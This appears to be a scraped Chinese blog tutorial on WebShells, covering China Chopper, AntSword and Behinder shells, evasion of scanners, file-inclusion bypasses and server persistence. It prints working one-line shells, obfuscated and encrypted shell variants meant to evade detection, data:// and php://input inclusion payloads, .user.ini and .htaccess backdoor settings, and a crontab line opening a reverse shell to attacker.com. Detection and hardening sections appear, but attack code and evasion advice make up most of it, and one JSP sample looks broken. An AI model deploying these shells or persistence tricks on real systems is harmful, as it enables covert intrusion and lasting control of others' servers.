当前位置: 首页 > news >正文

关于Web安全:7. WebShell 管理与持久化后门

一、菜刀马

菜刀马(ChinaZ WebShell) 是一种与“中国菜刀(ChinaZ)”客户端配合使用的 WebShell 木马,广泛应用于 Web 渗透测试中,主要使用 PHP/ASP/JSP 等语言编写。

它的本质是一个一句话木马,搭配专属协议与客户端通信,执行命令、读写文件、管理数据库等操作。

1.1 菜刀马核心结构(以 PHP 为例)

最基础的一句话木马:

<?php @eval($_POST['pass']); ?>

通信流程:

  1. 客户端发送 HTTP 请求,POST 参数名为 pass

  2. 内容为 加密后的 PHP 代码

  3. 服务端 eval($_POST['pass']) 解密并执行。

1.2 加密通信协议(菜刀专用)

数据传输流程:

  • 数据格式:

POST /shell.php HTTP/1.1
Content-Type: application/x-www-form-urlencodedpass=加密数据

默认密钥算法(早期版本):

  • 通信内容一般使用简单的 base64 加密 + RC4 加密

  • 客户端可自定义通信密钥,用于加密传输数据与命令。

1.3 菜刀马功能(客户端支持)

  • 文件管理(上传/下载/编辑/删除)

  • 命令执行(shell)

  • 数据库管理(MySQL/MSSQL/Oracle)

  • 进程管理(部分 ASP 环境)

  • 远程控制、反弹 shell

1.4 菜刀马分类(按语言)

语言示例环境
PHP<?php @eval($_POST['pass']); ?>Apache/Nginx + PHP
ASP<% eval request("pass") %>IIS
JSP<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>Tomcat

1.5 菜刀马部署流程

  • 找到上传点或命令执行点。

  • 上传 shell.php(或使用文件包含 LFI + php://input)。

  • 在菜刀客户端添加目标:

    • 类型选择 PHP

    • 设置连接地址

    • 输入与马子中一致的参数名(如:pass)

    • 设置通信密码(用于加解密)

  • 连接成功后,即可进入图形化 WebShell 管理界面。

1.6 菜刀马免杀技巧

1)变量马:

<?php $a = 'eva' . 'l'; $a($_POST['cmd']); ?>

2)异或加密马:

<?php
$key = 'abc';
$data = base64_decode($_POST['d']);
for ($i=0; $i<strlen($data); $i++) {$data[$i] = $data[$i] ^ $key[$i % strlen($key)];
}
eval($data);
?>

3)POST 改为 COOKIE、GET:

<?php @eval($_COOKIE['p']); ?>

4)多层 base64 编码 + eval 组合:

<?php eval(base64_decode($_POST['p'])); ?>

1.7 查杀与防御方法

检测关键词:

  • eval、assert、base64_decode、system、shell_exec 等。

  • 文件中大量 POST/Cookie 参数执行操作。

检测 WebShell 特征:

  • 使用工具如 D盾、冰刃、神盾。

  • Yara 规则匹配。

防御思路:

  • 禁止 eval、assert 等高危函数(php.ini 中)。

  • 使用 WAF 拦截菜刀通信特征。

  • 检查 Web 根目录文件是否被新增或篡改。

  • 启用 open_basedir、防止访问非授权路径。

1.8 WebShell 与菜刀通信抓包分析

抓包示例(请求):

POST /shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencodedpass=V29yZHByZXNzIHNoZWxsIGNvbW1hbmQ=

抓包示例(响应):

HTTP/1.1 200 OK
Content-Type: text/html执行结果内容(可能已加密)

1.9 示例:自写兼容菜刀的 PHP 马(模拟)

<?php
$key = "123456"; // 通信密钥
function decrypt($data, $key) {$data = base64_decode($data);for($i=0; $i<strlen($data); $i++) {$data[$i] = $data[$i] ^ $key[$i % strlen($key)];}return $data;
}eval(decrypt($_POST['pass'], $key));
?>

可以在菜刀客户端设置相同加密规则后连接该马。

1.10 小结

项目内容
核心形式一句话木马(eval($_POST['pass']))
通信协议自定义密钥 + Base64 或 RC4 加密
配合工具中国菜刀(ChinaZ)
免杀方式变量马、异或马、COOKIE马、多层编码
检测方式特征字符串、函数行为检测、Yara、日志分析
防御手段禁止危险函数、文件完整性监控、WAF拦截

二、蚁剑马

蚁剑(AntSword) 是一款开源的 WebShell 管理工具,支持多种语言(PHP/ASP/JSP/ASPX),功能强大且模块化,支持插件系统,常用于 Web 渗透测试中。

蚁剑马指的是配合蚁剑客户端通信的 WebShell 后门代码。与菜刀相比,蚁剑通信协议更新、更安全,使用 JSON 格式或 AES 加密。

核心原理与通信结构

核心机制:

  • 上传一个后门 WebShell(PHP/JSP/ASP)

  • 设置连接参数(语言、密码、路径)

  • 客户端通过 POST 请求发送加密命令

  • 后门解密并执行,返回加密结果

2.1 蚁剑马结构(以 PHP 为例)

最简单 PHP 蚁剑马(明文版):

<?php
@eval($_POST['ant']);
?>

标准蚁剑马(带通信结构):

蚁剑支持多种加密方式,以下为其默认 AES 加密通信方式的 Shell:

<?php
$password = "ant";
$key = "abcdef0123456789"; // 16 字节 AES 密钥
$data = openssl_decrypt(base64_decode($_POST[$password]), 'AES-128-ECB', $key);
eval($data);
?>

在蚁剑客户端:

  • 设置密码为 ant

  • 加密方式为 AES

  • 密钥为 abcdef0123456789

2.2 蚁剑通信协议

通信内容结构:

  • HTTP POST 请求,参数名是你设置的密码(如 ant

  • 值是 AES 加密 + base64 编码后的 PHP 命令

  • 服务端接收后解密并执行

2.3 蚁剑马的类型与区别

类型是否加密是否加密传输安全性
明文马极易被杀毒
base64马中等
AES马(推荐)较强

2.4 蚁剑客户端功能支持

  • 命令执行(Shell 控制台)

  • 文件管理(上传、删除、修改、重命名)

  • 数据库连接(支持 MySQL、MSSQL、Oracle)

  • 插件支持(编码器、内存马、权限维持)

  • 交互式终端(伪 shell)

2.5 蚁剑马免杀技巧

方法一:变量马

<?php $a = "eva"."l"; $a($_POST['p']); ?>

方法二:AES 加密(插件支持自动加密)

<?php
$key = '1234567890123456';
$data = openssl_decrypt(base64_decode($_POST['a']), 'AES-128-ECB', $key);
eval($data);
?>

方法三:混淆关键字

<?php
$func = str_rot13('rine'); // eval
$func($_POST['p']);
?>

方法四:隐藏在正常文件中(隐写)

  • 插入到正常 PHP 文件末尾

  • 使用图片伪装(马子改后缀为 .jpg 上传)

2.6 查杀与检测方式

工具检测:

  • D盾

  • WebShell Detector

  • 神盾

  • 火眼

行为检测:

  • 访问频率异常(频繁 POST)

  • 某个文件频繁调用 eval()、system()、shell_exec()

文件特征检测:

  • 文件名异常(如 shell.php)

  • 文件体积过小

  • 非 UTF-8 编码

  • 包含敏感关键词( 如 eval($_POST)

2.7 防御建议

  • 禁用危险函数:eval、assert、system、exec、shell_exec、passthru

  • 对上传文件做严格校验(MIME 类型、扩展名、内容)

  • 开启 WAF 拦截常见通信模式(尤其是 AES 模式 POST)

  • 使用文件完整性检测(AIDE、Tripwire)

  • 配置 php.ini:

disable_functions = "eval,system,passthru,shell_exec,exec,assert"
open_basedir = "/var/www/html/"

2.8 与菜刀马对比

项目菜刀马蚁剑马
通信协议自定义 RC4/Base64JSON + AES 加密
功能丰富但老旧更现代、插件支持强
安全性较低(免杀难)中高(通信加密更强)
开源程度私有完全开源
兼容性ASP/ASPX/PHP/JSPPHP/ASPX/JSP(支持广)

2.9 小结

项目内容
核心上传后门 + 加密通信 + eval 执行
推荐通信方式AES 加密模式(安全性好)
优点插件多、功能强、安全性高
缺点如果马被提取,仍有被破密风险
检测关键词、函数行为、WAF 拦截、完整性检测
免杀使用变量马、AES 加密马、伪装文件等方式

三、冰蝎马

冰蝎(Behinder)是一款国产高级 WebShell 管理工具,支持 PHP、JSP、ASP.NET 等语言,最大的特点是:

  • 全部通信加密(AES)

  • 采用动态类加载(Java Class)或内存加载

  • 可自动注入内存马

  • 配合反序列化利用,实现无文件控制

冰蝎马 ≠ 一句话木马,而是一个具备完整通信协议和恶意代码注入逻辑的高隐蔽性控制后门。

3.1 冰蝎的通信原理

核心特性:

  • AES 加密通信(CBC 模式)

  • 数据以 byte[] 传输

  • 客户端和服务端都有通信模块,使用自定义协议

冰蝎默认配置:

参数示例值
密码rebeyond
AES 密钥16 字节密钥(由密码派生)
加密方式AES/CBC/PKCS5Padding
数据编码base64 -> byte[] -> AES -> base64

3.2 冰蝎马结构(以 JSP 为例)

<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%
String k = "e45e329feb5d925b"; // AES 密钥
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec skey = new SecretKeySpec(k.getBytes(), "AES");
IvParameterSpec iv = new IvParameterSpec(k.getBytes());
c.init(Cipher.DECRYPT_MODE, skey, iv);
byte[] data = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("payload")));
new java.lang.reflect.Method().invoke(data);
%>
  • 客户端发送 AES 加密后的 Java 字节码(Class)

  • 服务端解密,使用反射或 ClassLoader 加载执行

3.3 冰蝎马的类型

类型描述
JSP 内存马把恶意类动态加载进 JVM 内存
ASP.NET Webshell执行 .NET 编译类的 byte[] 形式
PHP Shell用 base64+AES 加密的方式传输 PHP 代码
Memory Shell(内存马)Servlet/Filter/Listener 注入内存,持久驻留
ShellCode(CobaltStrike 联动)提供反弹、注入、内存提权功能

3.4 冰蝎马的优势

优点说明
 完全加密通信无法直接抓包分析
 无文件落地(内存执行)对抗查杀强
 支持内存马注入可实现持久化控制
 插件系统强大文件管理、数据库、反弹 Shell、横向移动
 多语言支持PHP、JSP、ASPX、Go 等

3.5 冰蝎免杀原理

冰蝎本身难免杀的关键有两点:

通信加密:

  • 所有指令和数据都用 AES 加密,拦截器/WAF 难以提取明文特征

反射执行 + 动态类加载:

  • 加载字节码类到内存,动态执行,不落地磁盘

无明显关键词:

  • 文件中几乎没有 evalsystem 等高危函数

3.6 查杀与检测方式

行为检测:

  • 请求量异常集中、访问频繁

  • 某 JSP/PHP 长时间驻留内存

  • 反射加载类的行为异常(ClassLoader 被调用)

文件扫描:

  • JSP 文件中存在 AES 解密器

  • 存在大量 byte[] 处理、base64 处理、cipher 调用

内存扫描(关键):

  • 使用开源工具,如:

    • MemoryShellHunter

    • 冰蝎查杀器

    • Sojson JSP 探针

    • 蚁剑联合插件

3.7 防御建议

方法实施方式
WAF 检测对 POST 请求体、AES 加密特征、classloader 调用进行分析
文件监控文件哈希、修改时间监控,JSP 代码静态分析
内存检测使用 Java Agent、JVM Attach 检测 Filter/Servlet 注入
禁止类加载反射限制调用 defineClassdefineClass0
最小权限原则限制 Web 用户权限、防止写入临时目录

3.8 实战举例:冰蝎 JSP 内存马注入流程

  • 风险点上传冰蝎 JSP Shell

  • 连接后注入内存马(Filter型)

  • 删除原始 JSP 文件(Shell 仍可用)

  • 冰蝎客户端继续连接,控制不掉线

  • 实现持久控制 + 横向拓展

3.9 和蚁剑/菜刀对比总结

项目菜刀马蚁剑马冰蝎马
通信协议明文/RC4AES/Base64AES-CBC
加密强度
是否落地可无落地(内存马)
控制强度极强
检测难度容易
插件功能普通丰富非常丰富
支持语言PHP/ASP/JSP多种多种 + 内存注入

3.10 小结

分类说明
核心原理AES 加密 + 类加载 + 内存注入
难点无明显关键字、行为完全动态
检测方法内存扫描、ClassLoader 检测、JVM Hook
防御建议WAF + Host 安全 + 内存防护(Attach 检测)

四、WebShell 免杀技巧

WebShell 一旦被上传或植入,面临安全软件/防护系统的检测(WAF、杀软、规则引擎),尤其是:

检测方式举例
特征匹配eval($_POST['a'])system($_GET['cmd'])
正则识别可疑函数、短变量名、长 POST 数据
行为检测非标准请求、反射加载、动态函数名执行

为此,需要对 WebShell 做“变形”处理,变得 更隐蔽、更分散、动态执行,从而达到免杀目的。

4.1 变量马(变量函数执行)

原理:将危险函数(如 evalassertsystem 等)用变量名间接引用执行,避免静态特征命中。

示例代码(PHP):

<?php
$a = 'assert';
$b = $_POST['cmd'];
$a($b); // 等价于:assert($_POST['cmd']);
?>

或者混淆变量名:

<?php
$func = "eva" . "l"; // 拼接
$func($_POST['cmd']);
?>

常见变体:

技术示例
函数名拼接$f = 'sy'.'stem'; $f($_GET['cmd']);
参数名伪装$b = $_POST['config']; $f($b);
动态执行方式call_user_func($f, $b);

优点:

  • 对抗静态特征匹配(如 WAF 检测规则)

  • 躲避代码审计工具

  • 逻辑简单,稳定易用

缺点:

  • WAF/EDR 可结合语义分析检测

  • 仍易被人工审计识别

4.2 异或马(加密执行)

原理:使用异或、base64、hex 等方式将真实 Payload 加密,运行时解密后执行,可实现弱加密 + 动态执行。

示例代码(异或):

<?php
$key = 'k'; // 异或密钥
$data = $_POST['data'];
$code = '';for ($i = 0; $i < strlen($data); $i++) {$code .= $data[$i] ^ $key;
}eval($code);
?>

客户端执行:

// 客户端示例:将命令异或后 POST 发送
$payload = "phpinfo();";
$key = 'k';
$xor = '';for ($i = 0; $i < strlen($payload); $i++) {$xor .= $payload[$i] ^ $key;
}echo base64_encode($xor); // -> POST 到 WebShell

常见加密方式:

方法说明
base64eval(base64_decode($_POST['cmd']));
str_rot13eval(str_rot13($_POST['code']));
gzuncompresseval(gzuncompress(base64_decode(...)))
异或加密for 循环 + eval
RC4 自定义实现加密强度更高,绕过率更强

优点:

  • 躲避字符串特征匹配

  • 运行时解密,提高动态隐蔽性

  • 可写成多层加密(套娃式免杀)

缺点:

  • 性能略低

  • 高级查杀软件可解密还原(如 D盾、冰刃)

4.3 变量马 + 异或马(组合型)

示例:

<?php
$func = "as" . "sert";
$k = 'x';
$data = $_POST['data'];
$code = '';for ($i = 0; $i < strlen($data); $i++) {$code .= $data[$i] ^ $k;
}$func($code);
?>

特点:

  • 函数名绕过(变量拼接)

  • Payload 加密(异或)

  • 解密后执行(动态执行)

这种组合马免杀率非常高,很多初级检测工具和规则完全看不出来。

4.4 其他免杀技巧补充

技巧示例
自定义函数function go($x){eval($x);} go($_POST['cmd']);
使用 call_user_func()call_user_func('eval', $_POST['x']);
使用 array_map()array_map('assert', [$_POST['cmd']]);
拼接危险代码再执行$x = 'ev'.'al'; $x($_POST['cmd']);
使用 preg_replace('/.*/e', ...)已废弃,但历史代码中常见

4.5 免杀效果评估建议

本地测试工具:

工具用途
D盾静态扫描常见木马特征
冰刃行为检测、进程通信监控
PhpStorm 插件可做代码审计和语义分析
手动逆向分析解密异或/多层加密马
YARA写规则对比函数调用/语义特征

总结免杀技巧关键点:

项目说明
变量马使用变量名代替敏感函数名执行
异或马使用简单加密隐藏真实 Payload
组合型将变量执行 + 异或加密组合使用
多层马base64 + 异或 + 函数拼接 + gzip 叠加免杀
行为伪装添加正常逻辑、页面元素、变量名混淆

五、文件包含与加载绕过

5.1 基本概念:文件包含

文件包含是指服务端在执行某个脚本时,通过 PHP 函数如 include / require / include_once / require_once 动态加载另一个文件内容来执行。

include("shell.php");

攻击者若控制了被包含文件的路径或内容,就可以:

  • 执行恶意代码(植入 WebShell)

  • 绕过 Web 应用主逻辑控制

  • 实现权限维持

5.2 常见加载方式及绕过技巧

1)利用弱类型变量包含(变量包含)

include($_GET['file']); // file=shell.php

如果没有白名单校验,可以直接传入任意文件路径。

绕过方式:

方法示例
路径绕过file=../../../../../tmp/shell.txt
编码绕过file=php://filter/convert.base64-encode/resource=shell.php
协议绕过file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+ (base64 编码的PHP代码)

2)利用伪协议绕过加载限制

PHP 支持很多“伪协议”,可用于执行、读取非文件资源,比如:

协议用途
php://input读取原始 POST 数据
php://filter对文件内容进行转码(如 base64 编码)
data://执行 base64 编码内容
zip://加载压缩包内的 PHP 文件
expect://在某些环境中用于执行 shell 命令(常被禁)

示例:

include('php://input'); 

此时你可以通过 POST 提交任意 PHP 代码:

POST /index.php
Content-Type: text/plain<?php eval($_POST['cmd']); ?>

服务器读取 php://input,就执行了 POST 数据内的 WebShell。

3)使用 base64 + php://filter 绕过静态检测

include("php://filter/convert.base64-encode/resource=shell.php");

然后再将 base64 内容通过另一段代码 eval(base64_decode(...)) 解析执行。

这个技巧可以:

  • 对抗 WebShell 特征扫描(D盾无法匹配原始内容)

  • 配合动态执行 payload

4)使用 data:// 协议内嵌马

include("data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+");

等价于:

<?php system($_GET['c']); ?>

原始代码经过 base64 编码后被嵌入 URL 中,绕过上传限制与查杀。

5.3 文件包含结合免杀使用方式

  • 主页面只有一行加载代码:
include('1.dat');
  • 1.dat 文件的后缀是 .dat,不会被安全设备识别为可执行 PHP 文件,但内容实际是加密的 PHP WebShell。

  • 解密过程通过主页面来执行,例如:

$content = file_get_contents('1.dat');
eval(xor_decode($content));

这样可以:

  • 把马藏在任意后缀文件中(非 .php)

  • 通过加载解密后执行,达成隐蔽目的

5.4 上传限制绕过 + 文件包含配合

在文件上传限制中,若不能直接上传 .php 文件,可以上传 .jpg.txt 等文件:

  • 上传:马文件为 shell.jpg 内容为:<?php system($_GET['cmd']); ?>

  • 然后:用文件包含执行它

include('uploads/shell.jpg'); // 实际执行里面的 PHP 代码

注意:服务器必须未禁用 PHP 的 short_open_tagallow_url_include,否则会失败。

5.5 实战技巧组合

目标技术组合
免杀WebShell 放在 .dat/.log,用 php://filterfile_get_contents 解密
隐蔽 include($a) 动态包含,路径用 base64/异或加密
上传绕过上传伪后缀木马(.jpg、.pdf),然后利用包含加载执行
单文件加载多个马主文件中使用数组遍历加载多个 payload 文件,实现多点控制

5.6 防御方的检测方式

检测点方法
静态扫描查找敏感函数:include($_GET)eval(file_get_contents())
动态行为检测检测包含伪协议的行为,禁用 allow_url_include
WAF 规则识别 php://, data:// 等关键协议关键字
上传控制限制上传目录执行权限 + 校验内容头部特征
审计分析加载链,发现隐藏的木马入口文件

5.7 小结

点位描述
文件包含马将恶意代码放在非主马中,通过 include 加载执行
伪协议加载使用 php://inputphp://filterdata:// 绕过常规检测
文件伪装将马伪装成 .jpg/.txt/.dat,再通过加载方式执行
加密加载WebShell 加密存储,运行时解密加载执行,提升免杀性

六、后门维持权限的方式

为什么需要权限维持?

当攻击者成功上传 WebShell 或 RCE 后,并不意味着永远控制了主机。管理员可能:

  • 杀掉进程 / 删除文件

  • 关闭上传风险点

  • 重启服务清除环境

所以攻击者会留下「隐蔽持久后门」以便未来再次进入

6.1 方式一:.user.ini 权限维持后门

.user.ini 是 PHP 的用户级配置文件,专用于 CGI/FPM 模式。

使用方法:

可以写入指令修改当前目录或子目录的 PHP 配置行为。

示例一:自动加载后门

payload:

.user.ini 中写入:

auto_prepend_file = "shell.php"

意思是:在该目录下的所有 PHP 文件执行前,都会先执行 shell.php

作用:

  • shell.php 中可以是木马

  • 管理员删除原始 WebShell 页面也没用

  • 你访问任何页面,木马都先被执行了

示例二:加载隐藏木马(结合免杀)

auto_prepend_file = "php://filter/convert.base64-decode/resource=hidden.dat"

然后 hidden.dat 是 base64 编码的 WebShell。
这样可以配合免杀进行隐蔽控制。

6.2 方式二:.htaccess 权限维持后门

.htaccess 是 Apache 的目录配置文件,可以控制访问逻辑、解析规则。

使用方式:

通过配置 .htaccess 强行让非 .php 文件被当作 PHP 执行。

示例一:改解析规则

AddType application/x-httpd-php .jpg

意思是:让 .jpg 文件当作 PHP 来执行。

然后你上传一个名为 shell.jpg 的 WebShell,就能被执行。

示例二:隐藏 WebShell 路径

RewriteEngine On
RewriteRule ^admin$ shell.php

访问 /admin 实际会加载 shell.php,达成路径伪装效果。

6.3 方式三:计划任务维持后门

系统级后门的一种方式,尤其用于 Linux 主机或拥有 root 权限的情况。

Linux 中使用 crontab 创建定时任务

crontab -e

添加:

*/5 * * * * php /var/www/html/shell.php

每 5 分钟执行一次 WebShell。
哪怕管理员删了 WebShell,计划任务也可以:

  • 自动恢复上传马子

  • 下载远程 payload

  • 或打开反弹 Shell

示例:反弹 Shell 恢复权限

*/10 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1
  • 每 10 分钟给攻击者服务器反弹一个 Shell

  • 保证你即使被踢也能重连回来

如果是 root 权限,还可以写系统启动项:

echo "@reboot php /var/www/shell.php" >> /etc/crontab

系统一重启,你的 WebShell 又被加载回来。

6.4 其他持久化方法简略一览

方法简介
修改系统启动项写入 /etc/init.d//etc/rc.local,开机自启动 WebShell
数据库后门在 MySQL trigger 或存储过程插入反弹 Shell
PHP session 持久化将 WebShell 写入 session 临时文件
上传木马到计划任务目录比如写入 /etc/cron.hourly/evil.sh
修改系统文件替换 /usr/bin/php 等工具,在使用中植入后门
远程加载马子留下一句话马,加载远程 payload,每次动态获取马体

6.5 配合其他技巧增强隐蔽性

  • .user.ini + 加密加载马 + base64 编码

  • .htaccess + .png 马伪装成图片访问

  • 计划任务 + WebShell 自动恢复脚本

  • 上传后门 + 文件包含动态执行 + XOR 加密马体

6.6 防御角度:如何检测和清理?

项目检测方法
.user.ini查找是否有 auto_prepend_fileauto_append_file
.htaccess是否改了文件后缀解析或设置了 Rewrite
crontab查看 crontab -l/etc/cron* 是否有恶意任务
隐藏马查日志 + 比对文件时间 + 杀毒工具(D盾、ClamAV)
开机启动/etc/rc.localsystemdinit.d

6.7 小结

类型技术隐蔽性持久性风险
.user.ini自动加载马
.htaccess文件伪装 + 重定向
计划任务定时恢复后门 / 反弹 Shell

相关文章:

  • 彰显国产力量|暴雨亮相2025 C3安全峰会
  • ipv6与p2p的关系
  • RuoYi前后端分离框架将前端dist资源集成到Jar包中独立部署
  • 【HALCON】 深入解析 select_gray 算子
  • 紫光闪芯发布企业级E5200PCIe 5.0 企业级固态硬盘
  • 如何在python3.8环境中安装pytorch
  • 数据库-算法学习C++(入门)
  • RG3000网关构建5G LAN智慧工厂智能制造
  • OpenCV---Canny边缘检测
  • Flink 核心机制与源码剖析系列
  • day023-网络基础与OSI七层模型
  • SQLite软件架构与实现源代码浅析
  • Linux -- gdb/cgdb的认识和使用
  • 商旅平台排名:十大商旅服务平台解析
  • Linux中的进程控制(下)
  • Adminer
  • HackMyVM-Find
  • LeetCode 1871. 跳跃游戏 VII(中等)
  • 面试题——计算机网络:HTTP和HTTPS的区别?
  • C++异步通信-future学习
  • 昆明网站建设制作/百度推广服务
  • 做网站找投资人/网站关键词优化教程
  • 医疗网站建设案例/百度客服24小时人工电话
  • 潜力的网站设计制作/做百度推广怎么做才能有电话
  • 帮客户做网站图片被告侵权/网络科技公司
  • 2015年做哪些网站能致富/社群运营的经典案例